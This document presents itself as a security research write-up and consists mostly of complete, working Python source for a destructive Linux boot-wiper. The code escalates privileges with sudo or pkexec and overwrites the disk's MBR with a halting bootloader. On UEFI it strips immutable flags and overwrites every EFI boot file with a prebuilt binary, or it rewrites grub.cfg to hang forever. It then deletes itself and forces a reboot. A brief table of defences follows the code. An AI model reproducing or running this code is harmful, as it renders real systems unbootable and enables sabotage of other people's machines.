╔══════════════════════════════════════════════════════════════╗
║ SECURITY RESEARCH PAPER ║
║ Linux Boot Process Analysis ║
╚══════════════════════════════════════════════════════════════╝
Author: Vladislav Khudash (17)
Date: 02.03.2026
Project: LINUX-BOOT-RESEARCH
| 🔬 Purpose | Security research on Linux boot process and firmware interaction |
| 🧪 Environment | ISOLATED VIRTUAL MACHINES ONLY — Never run on production systems |
| ⚖️ Legal | This research demonstrates attack vectors for defensive purposes only |
| 💀 Warning | This code will PREVENT SYSTEM FROM BOOTING |
| 📚 Educational | Understanding boot process manipulation is essential for building robust defenses |
| Section | Description |
|---|---|
| 1. Configuration | Message and platform detection |
| 2. Imports and Initialization | Module imports and global variables |
| 3. Utility Functions | writef(), cmd() |
| 4. GRUB Configuration | grub_cfg() |
| 5. MBR Bootloader | make_mbr() — 16-bit real mode bootloader |
| 6. UEFI Application | make_efi() — 64-bit UEFI application |
| 7. Disk Detection | disk_bios(), get_esp(), bootefi() |
| 8. BIOS Mode | BIOS() |
| 9. UEFI Mode | UEFI() |
| 10. Fallback Mode | DEFAULT() |
| 11. Main Entry Point | main() |
| 12. Defense Recommendations | Protection measures |
📁 Click to expand: Message and Platform Detection (FULL CODE)
#===================================#
# [ OWNER ]
# CREATOR : Vladislav Khudash
# AGE : 17
# LOCATION : Ukraine
#
# [ PINFO ]
# DATE : 02.03.2026
# PROJECT : LINUX-BOOT-RESEARCH
# PLATFORM : LINUX
#===================================#
MSG = '[ LINBOOT ]\nBOOT HALTED'Analysis:
| Variable | Default Value | Purpose |
|---|---|---|
MSG |
'[ LINBOOT ]\nBOOT HALTED' |
Message displayed at boot (ASCII for BIOS, UTF-16LE for UEFI) |
Constraints:
- BIOS (ASCII): Maximum 478 characters (limited by 512-byte MBR sector)
- UEFI (UTF-16LE): Maximum 1000 characters (limited by 3584-byte EFI application)
What it configures: The message displayed on-screen when the system attempts to boot after modification — embedded directly into the boot sector (MBR) or UEFI application binary.
📁 Click to expand: Module Imports and Global Variables (FULL CODE)
import os
from shutil import which
from re import compile as re
from subprocess import run as sp_run
from sys import exit as _exit, argv, platform, executable
__file__ = os.path.abspath(argv[0])
if platform != 'linux':
print(f'DO NOT SUPPORT ({platform})')
_exit(1)
IS_ROOT = os.getuid() == 0
IS_UEFI = os.path.exists('/sys/firmware/efi')
ESP_GUID = 'c12a7328-f81f-11d2-ba4b-00a0c93ec93b'
ESP_PATH = '/boot/efi'
GRUB = ('/boot/grub/grub.cfg' if os.path.isfile('/boot/grub/grub.cfg')
else '/boot/grub2/grub.cfg')
PROC_MOUNTS = '/proc/mounts'
SYS_DISK = '/sys/block'
SUDO = which('pkexec' if (os.environ.get('DISPLAY', False)
or os.environ.get('WAYLAND_DISPLAY', False)) else 'sudo')
MOUNT = which('mount') or '/usr/bin/mount'
UMOUNT = which('umount') or '/usr/bin/umount'
FINDMNT = which('findmnt') or '/usr/bin/findmnt'
LSBLK = which('lsblk') or '/usr/bin/lsblk'
CHATTR = which('chattr') or '/usr/bin/chattr'
REBOOT = which('reboot') or '/usr/sbin/reboot'
if SUDO is None:
SUDO = '/usr/bin/' + ('pkexec' if (os.environ.get('DISPLAY', False)
or os.environ.get('WAYLAND_DISPLAY', False)) else 'sudo')Global Variables Analysis:
| Variable | Value | Purpose |
|---|---|---|
IS_ROOT |
os.getuid() == 0 |
Check if running as root |
IS_UEFI |
os.path.exists('/sys/firmware/efi') |
Detect UEFI vs BIOS firmware |
ESP_GUID |
c12a7328-f81f-11d2-ba4b-00a0c93ec93b |
EFI System Partition GUID |
ESP_PATH |
/boot/efi |
Default ESP mount point |
GRUB |
/boot/grub/grub.cfg or /boot/grub2/grub.cfg |
GRUB configuration file path |
PROC_MOUNTS |
/proc/mounts |
Kernel mount table |
SYS_DISK |
/sys/block |
Block device sysfs directory |
SUDO |
pkexec (GUI) or sudo (terminal) |
Privilege escalation binary |
SUDO Selection Logic:
- If
DISPLAYorWAYLAND_DISPLAYis set → usepkexec(GUI elevation) - Otherwise → use
sudo(terminal elevation)
What it initializes: Detects root privileges, firmware type (UEFI vs BIOS via /sys/firmware/efi), locates all required system binaries (mount, umount, findmnt, lsblk, chattr, reboot), determines GRUB config path (supports both /boot/grub/ and /boot/grub2/), and selects the appropriate privilege escalation tool based on display server presence.
📁 Click to expand: writef(), cmd() (FULL CODE)
def writef(p, data):
with open(p, 'wb') as f:
f.seek(0, os.SEEK_SET)
f.write(data)
f.flush()
os.fsync(f.fileno())Purpose: Write data to file and ensure it's physically written to disk (fsync).
What it does: Opens a file in binary write mode, seeks to beginning, writes the data buffer, flushes userspace buffers, then calls fsync() to ensure the kernel commits all data to physical storage. Used for writing MBR, EFI applications, and GRUB config — ensures boot modifications survive immediate reboot.
def cmd(c):
try:
return sp_run(c, capture_output=True, text=True).stdout
except:
return ''What it does: Executes a system command and captures its stdout as a string — used for parsing findmnt, lsblk, and mountvol output for device discovery. Returns empty string on any failure.
📁 Click to expand: grub_cfg() (FULL CODE)
def grub_cfg():
cfg = [
'set default=0',
'set timeout=0\n',
'menuentry "linboot" {',
' clear'
]
for n in MSG.splitlines():
n = n.replace('"', '\\"')
cfg.append(f' echo "{n}"')
cfg.extend([' sleep 999999', '}'])
return '\n'.join(cfg)Generated GRUB Configuration Example:
set default=0
set timeout=0
menuentry "linboot" {
clear
echo "[ LINBOOT ]"
echo "BOOT HALTED"
sleep 999999
}Analysis:
set timeout=0— No boot menu delaymenuentry "linboot"— Single boot entrysleep 999999— Infinite wait (prevents booting)- Escapes double quotes in message to prevent GRUB syntax errors
What it generates: A minimal GRUB configuration that sets the default boot entry, disables the timeout, clears the screen, prints each line of the message via echo, then sleeps indefinitely (~11.5 days). The system hangs at the GRUB screen with the message displayed — no kernel loads.
📁 Click to expand: make_mbr() — 16-bit Real Mode Bootloader (FULL CODE)
def make_mbr():
'''
Returns a 16-bit Master Boot Record (MBR) binary.
This MBR was assembled using NASM from the following source:
BITS 16
ORG 0x7C00
start:
cli
xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, 0x7C00
sti
mov si, msg
output:
lodsb
cmp al, 0
je loop
mov ah, 0x0E
mov bh, 0x00
int 0x10
jmp output
loop:
cli
hlt
msg db 'here is (MSG)', 0
dw 0xAA55
'''
SIZE = 512
template = b'\xfa1\xc0\x8e\xd8\x8e\xc0\x8e\xd0\xbc\x00|\xfb\xbe\x1f|\xac<\x00t\x08\xb4\x0e\xb7\x00\xcd\x10\xeb\xf3\xfa\xf4'
template_len = len(template)
msg_len = len(MSG)
end_msg_len = template_len + msg_len
mbr = bytearray(SIZE)
ptr = memoryview(mbr)
ptr[0:template_len] = template
ptr[template_len:end_msg_len] = MSG
ptr[end_msg_len] = 0
ptr[510] = 0x55
ptr[511] = 0xAA
return ptrNASM Source Analysis:
| Instruction | Purpose |
|---|---|
cli |
Disable interrupts |
xor ax, ax |
Zero AX register |
mov ds/es/ss, ax |
Set segment registers to 0 |
mov sp, 0x7C00 |
Set stack pointer (grows down from 0x7C00) |
sti |
Enable interrupts |
mov si, msg |
Load message address |
lodsb |
Load byte from [SI] into AL, increment SI |
cmp al, 0 |
Check for null terminator |
je loop |
If null, jump to infinite loop |
mov ah, 0x0E |
BIOS teletype output function |
int 0x10 |
Call BIOS video interrupt |
jmp output |
Loop back |
cli / hlt |
Disable interrupts and halt CPU |
dw 0xAA55 |
Boot signature (required for BIOS to recognize as bootable) |
Memory Layout:
Offset | Content
--------|----------------------------------------
0x00 | Template (NASM-compiled code)
0x1F | Message string (ASCII)
... | Null terminator
0x1FE | 0x55 (boot signature low byte)
0x1FF | 0xAA (boot signature high byte)
Template Hex Dump:
fa 31 c0 8e d8 8e c0 8e d0 bc 00 7c fb be 1f 7c ; cli; xor ax,ax; mov ds,ax; ...
ac 3c 00 74 08 b4 0e b7 00 cd 10 eb f3 fa f4 ; lodsb; cmp al,0; je; mov ah,0x0E; int 0x10; ...
What it generates: A complete 512-byte Master Boot Record containing 16-bit real-mode x86 code that sets up segment registers and stack, loops through the message string calling BIOS INT 0x10 (teletype output) for each character, then halts the CPU. Includes the mandatory 0x55AA boot signature at offset 510-511. The template is a pre-assembled NASM binary (27 bytes of code).
📁 Click to expand: make_efi() — 64-bit UEFI Application (FULL CODE)
def make_efi():
'''
Returns a 64-bit UEFI application binary.
This UEFI was assembled using NASM from the following source:
bits 64
default rel
EFI_SUCCESS equ 0
EFI_LOAD_ERROR equ 0x8000000000000001
EFI_INVALID_PARAMETER equ 0x8000000000000002
EFI_UNSUPPORTED equ 0x8000000000000003
EFI_BAD_BUFFER_SIZE equ 0x8000000000000004
EFI_BUFFER_TOO_SMALL equ 0x8000000000000005
EFI_NOT_READY equ 0x8000000000000006
EFI_NOT_FOUND equ 0x8000000000000014
EFI_SYSTEM_TABLE_SIGNATURE equ 0x5453595320494249
%macro UINTN 0
RESQ 1
alignb 8
%endmacro
%macro UINT32 0
RESD 1
alignb 4
%endmacro
%macro UINT64 0
RESQ 1
alignb 8
%endmacro
%macro EFI_HANDLE 0
RESQ 1
alignb 8
%endmacro
%macro POINTER 0
RESQ 1
alignb 8
%endmacro
struc EFI_TABLE_HEADER
.Signature UINT64
.Revision UINT32
.HeaderSize UINT32
.CRC32 UINT32
.Reserved UINT32
endstruc
struc EFI_SYSTEM_TABLE
.Hdr RESB EFI_TABLE_HEADER_size
.FirmwareVendor POINTER
.FirmwareRevision UINT32
.ConsoleInHandle EFI_HANDLE
.ConIn POINTER
.ConsoleOutHandle EFI_HANDLE
.ConOut POINTER
.StandardErrorHandle EFI_HANDLE
.StdErr POINTER
.RuntimeServices POINTER
.BootServices POINTER
.NumberOfTableEntries UINTN
.ConfigurationTable POINTER
endstruc
struc EFI_OUTPUT
.reset POINTER
.print POINTER
endstruc
section .text
global _start
_start:
mov rcx, [rdx + EFI_SYSTEM_TABLE.ConOut]
mov rdx, MSG
call [rcx + EFI_OUTPUT.print]
jmp $
section .data
MSG db __utf16__ `here is (MSG)`
'''
SIZE = 3584
OFFSET = 2049
template = b'MZx\x00\x01\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode.$\x00\x00PE\x00\x00d\x86\x03\x00\xe72\xa4i\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x00"\x00\x0b\x02\x0e\x00\x00\x02\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00@\x01\x00\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\n\x00`\x81\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\x13\x00\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00`.data\x00\x00\x00\xd0\x07\x00\x00\x00 \x00\x00\x00\x08\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\xc0.reloc\x00\x00\x0c\x00\x00\x00\x000\x00\x00\x00\x02\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00B\x00\x00\x00\x00\x00\x00\x00\x00H\x8bJ@H\xba\x00 \x00@\x01\x00\x00\x00\xffQ\x08\xeb\xfe\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc'
efi = bytearray(SIZE)
ptr = memoryview(efi)
msg = MSG + bytes(OFFSET - len(MSG))
template_len = len(template)
msg_len = len(msg)
end_msg_len = template_len + msg_len
ptr[0:template_len] = template
ptr[template_len:end_msg_len] = msg
ptr[end_msg_len:] = b'\x10\x00\x00\x0c\x00\x00\x00\x06\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
return ptrNASM Source Analysis (UEFI):
| Instruction | Purpose |
|---|---|
bits 64 |
64-bit code |
default rel |
RIP-relative addressing |
EFI_SYSTEM_TABLE_SIGNATURE |
0x5453595320494249 ("IBI SYST") |
mov rcx, [rdx + EFI_SYSTEM_TABLE.ConOut] |
Load Console Output protocol |
mov rdx, MSG |
Load message address |
call [rcx + EFI_OUTPUT.print] |
Call print function |
jmp $ |
Infinite loop |
PE/COFF Header Analysis:
| Offset | Content | Purpose |
|---|---|---|
| 0x00 | MZ |
DOS stub signature |
| 0x3C | 0x78 |
Offset to PE header |
| 0x78 | PE\0\0 |
PE signature |
.text |
Code section | Contains UEFI code |
.data |
Data section | Contains UTF-16LE message |
.reloc |
Relocation section | Base relocations |
EFI Application Structure:
- DOS Stub: Prints "This program cannot be run in DOS mode."
- PE Header: 64-bit EFI application
- Code: Loads ConOut protocol, prints message, infinite loop
- Data: UTF-16LE encoded message at offset 2049
What it generates: A complete 3584-byte PE32+ UEFI application — contains DOS/PE headers, 64-bit UEFI code that loads the ConOut protocol from the EFI System Table (passed in RDX), calls the print function with the UTF-16LE encoded message, then enters an infinite loop. The message is zero-padded up to offset 2049, followed by base relocation data. The firmware executes this instead of the real bootloader.
📁 Click to expand: disk_bios(), get_esp(), bootefi() (FULL CODE)
def disk_bios():
if not (os.path.isfile(PROC_MOUNTS) or os.path.isdir(SYS_DISK)):
return None
root_disk = cmd([FINDMNT, '-n', '-o', 'SOURCE', '/']).strip()
if not os.path.exists(root_disk):
with open(PROC_MOUNTS, 'r') as f:
f.seek(0, os.SEEK_SET)
for line in f:
n = line.split()
if (len(n) < 2) or (n[1] != '/'):
continue
root_disk = n[0]
break
else:
return None
root_disk = re(r'p?\d+$').sub('', root_disk)
SIGN = b'\x55\xaa'
for n in os.listdir(SYS_DISK):
if n not in root_disk:
continue
dev = f'/dev/{n}'
try:
with open(dev, 'rb') as f:
f.seek(0, os.SEEK_SET)
sector = memoryview(f.read(512))
if (len(sector) == 512) and (sector[510:512] == SIGN):
return dev
except:
break
return NoneDetection Algorithm:
- Get root filesystem device via
findmntor/proc/mounts - Strip partition number (e.g.,
/dev/sda1→/dev/sda) - Check each disk in
/sys/blockmatching the base device - Read first 512 bytes and verify boot signature
0x55 0xAA - Return device path or
None
What it discovers: Identifies the physical boot disk by first finding the root filesystem's device (via findmnt or /proc/mounts), stripping the partition number (e.g., sda1 → sda, nvme0n1p2 → nvme0n1), then iterating /sys/block entries to find the matching block device. Reads sector 0 and verifies the MBR signature (0x55AA at offset 510-511).
def get_esp():
for line in cmd([LSBLK, '-l', '-n', '-o', 'NAME,PARTTYPE,MOUNTPOINT']).splitlines():
n = line.strip().split()
n_len = len(n)
if (n_len < 2) or (n[1] != ESP_GUID):
continue
dev = n[0]
esp = n[2] if n_len > 2 else ESP_PATH
if os.path.exists(esp):
return [dev, esp]
os.makedirs(esp, exist_ok=True)
cmd([MOUNT, f'/dev/{dev}', esp])
if os.path.exists(esp):
return [dev, esp]
return [None, ESP_PATH if os.path.exists(ESP_PATH) else None]Detection Algorithm:
- Use
lsblkto list partitions with PARTTYPE (GUID) - Find partition with
ESP_GUID(c12a7328-f81f-11d2-ba4b-00a0c93ec93b) - Get mount point or use default
/boot/efi - Mount if not already mounted
- Return
[device, mount_point]or[None, fallback_path]
What it discovers: Uses lsblk to list all partitions with their GPT partition type GUIDs, finds the one matching the EFI System Partition GUID, returns both the device name and mount point. If not mounted, attempts to mount it to the default /boot/efi path.
def bootefi(esp):
boot = []
for root, _, files in os.walk(esp):
for n in files:
if n.endswith('.efi'):
boot.append(os.path.join(root, n))
return bootWhat it finds: Recursively walks the ESP mount point and collects all .efi file paths — these are the UEFI boot applications (bootx64.efi, grubx64.efi, systemd-bootx64.efi, etc.) that the firmware loads. Returns the list for subsequent overwriting.
📁 Click to expand: BIOS() (FULL CODE)
def BIOS():
disk = disk_bios()
if disk is None:
DEFAULT()
return
mbr = make_mbr()
try:
writef(disk, mbr)
os.sync()
except:
DEFAULT()BIOS Attack Flow:
- Detect boot disk via
disk_bios() - Generate custom MBR with
make_mbr() - Overwrite first 512 bytes of disk
- Sync filesystems
- Fallback to
DEFAULT()if disk detection fails
What it writes: Locates the BIOS boot disk, generates the 512-byte MBR payload, writes it directly to the beginning of the physical disk via writef() (which calls fsync to ensure it's committed), then syncs the entire filesystem. If disk detection fails, falls back to GRUB configuration overwrite via DEFAULT().
Result: On next boot, BIOS loads sector 0, executes the custom MBR code which prints the message and halts the CPU — no bootloader or kernel loads.
📁 Click to expand: UEFI() (FULL CODE)
def UEFI():
dev, esp = get_esp()
if esp is None:
DEFAULT()
return
efi = make_efi()
written = False
if dev is None:
dev = cmd([FINDMNT, '-n', '-o', 'SOURCE', esp]).strip()
cmd([UMOUNT, '-l', esp])
os.makedirs(esp, exist_ok=True)
cmd([MOUNT, '-o', 'rw,exec,suid,dev', dev, esp])
for n in bootefi(esp):
try:
cmd([CHATTR, '-i', n])
cmd([CHATTR, '-a', n])
writef(n, efi)
written = True
except:
continue
if not written:
DEFAULT()
return
os.sync()UEFI Attack Flow:
- Detect ESP via
get_esp() - Generate custom EFI application with
make_efi() - Unmount and remount ESP with write/exec permissions
- Find all
.efifiles in ESP viabootefi() - Remove immutable (
-i) and append-only (-a) attributes - Overwrite each EFI file with custom application
- Sync filesystems
- Fallback to
DEFAULT()if no EFI files found
What it writes: Discovers the EFI System Partition, generates the 3584-byte UEFI application, lazy-unmounts the ESP, remounts it with read-write and exec permissions, iterates all .efi files (removing immutable/append-only flags via chattr), overwrites each with the malicious UEFI binary, and syncs. If no ESP or EFI files are found, falls back to GRUB config overwrite.
Result: On next boot, the UEFI firmware loads the overwritten .efi file (typically bootx64.efi or grubx64.efi), which prints the message and enters an infinite loop — no OS loads.
📁 Click to expand: DEFAULT() (FULL CODE)
def DEFAULT():
global MSG
MSG = MSG.decode('UTF-16LE' if IS_UEFI else 'ASCII')
if not os.path.isfile(GRUB):
_exit(-1)
with open(GRUB, 'w') as f:
f.seek(0, os.SEEK_SET)
f.write(grub_cfg())
f.flush()
os.sync()Fallback Attack Flow:
- Decode message from bytes back to string
- Check if GRUB configuration exists
- Overwrite GRUB configuration with custom boot entry
- Sync filesystems
What it does when primary methods fail: Decodes the message back to a string (UTF-16LE for UEFI, ASCII for BIOS), generates the minimal GRUB config via grub_cfg() that displays the message and sleeps indefinitely, overwrites the GRUB configuration file, flushes and syncs. Exits with -1 if no GRUB config file exists.
📁 Click to expand: main() (FULL CODE)
def main():
global MSG
if not isinstance(MSG, str):
raise TypeError('(MSG) must be str')
if IS_UEFI:
if len(MSG) > 1000:
raise OverflowError('(MSG) length > 1000')
MSG = MSG.encode('UTF-16LE')
else:
if not MSG.isascii():
raise ValueError(f'(MSG) must be ASCII')
MSG = MSG.encode('ASCII')
if len(MSG) > 478:
raise OverflowError('(MSG) length > 478')
not IS_ROOT and os.execv(SUDO, [SUDO, executable, __file__])
(UEFI if IS_UEFI else BIOS)()
if os.path.isfile(__file__):
try:
os.remove(__file__)
except: ...
sp_run([REBOOT])
_exit(0)
if __name__ == '__main__': main()Main Execution Flow:
- Validate
MSGtype - Encode message:
- UEFI: UTF-16LE (max 1000 chars)
- BIOS: ASCII (max 478 chars, must be ASCII-only)
- Elevate to root if not already (
sudoorpkexec) - Execute
UEFI()orBIOS()based on firmware detection - Self-delete the script file
- Reboot system
What it orchestrates: Validates the message type and length (1000 chars max for UEFI/UTF-16LE, 478 chars max for BIOS/ASCII), encodes accordingly, elevates to root via sudo/pkexec if needed, executes the firmware-specific attack (UEFI() overwrites EFI files, BIOS() overwrites MBR), self-deletes the script from disk, and force-reboots the system. After reboot, only the custom boot message is displayed.
| Measure | Implementation |
|---|---|
| Secure Boot | Enable UEFI Secure Boot with custom keys |
| Measured Boot | TPM 2.0 with PCR policy enforcement |
| GRUB Password | Set superusers and password in grub.cfg |
| Read-only ESP | Mount ESP as read-only after boot |
| MBR Write Protection | Enable BIOS write protection on firmware |
| Measure | Implementation |
|---|---|
| Immutable GRUB Config | chattr +i /boot/grub/grub.cfg |
| Immutable EFI Files | chattr +i /boot/efi/EFI/*/*.efi |
| Monitor Boot Files | File integrity monitoring (AIDE, Tripwire) |
| Backup Boot Sector | dd if=/dev/sda of=mbr_backup.bin bs=512 count=1 |
| Measure | Implementation |
|---|---|
| Audit Logging | Monitor writes to /dev/sd*, /boot/efi/, /boot/grub/ |
| EDR/XDR | Detect direct disk writes from userspace |
| Anomaly Detection | Alert on chattr -i followed by write to boot files |
| Measure | Implementation |
|---|---|
| Live USB | Keep bootable Linux USB for recovery |
| MBR Backup | Regular backup of MBR sector |
| EFI Backup | Regular backup of EFI System Partition |
| GRUB Rescue | Know how to boot from GRUB rescue shell |
Данное исследование изучает механизмы манипуляции процессом загрузки Linux на уровне прошивки, загрузчика и файловой системы.
| Уровень | Вектор атаки |
|---|---|
| BIOS/MBR | Перезапись первых 512 байт диска кастомным загрузчиком |
| UEFI/EFI | Перезапись .efi файлов в ESP разделе |
| GRUB | Модификация grub.cfg для бесконечного ожидания |
| Самоликвидация | Удаление исполняемого файла после выполнения |
| Инструкция | Назначение |
|---|---|
cli |
Запрет прерываний |
xor ax, ax |
Обнуление AX |
mov ds/es/ss, ax |
Установка сегментных регистров в 0 |
mov sp, 0x7C00 |
Установка указателя стека |
mov si, msg |
Загрузка адреса сообщения |
lodsb |
Загрузка байта из [SI] в AL |
int 0x10 |
Вызов BIOS видео прерывания |
dw 0xAA55 |
Сигнатура загрузки |
| Инструкция | Назначение |
|---|---|
mov rcx, [rdx + EFI_SYSTEM_TABLE.ConOut] |
Загрузка протокола вывода на консоль |
mov rdx, MSG |
Загрузка адреса сообщения |
call [rcx + EFI_OUTPUT.print] |
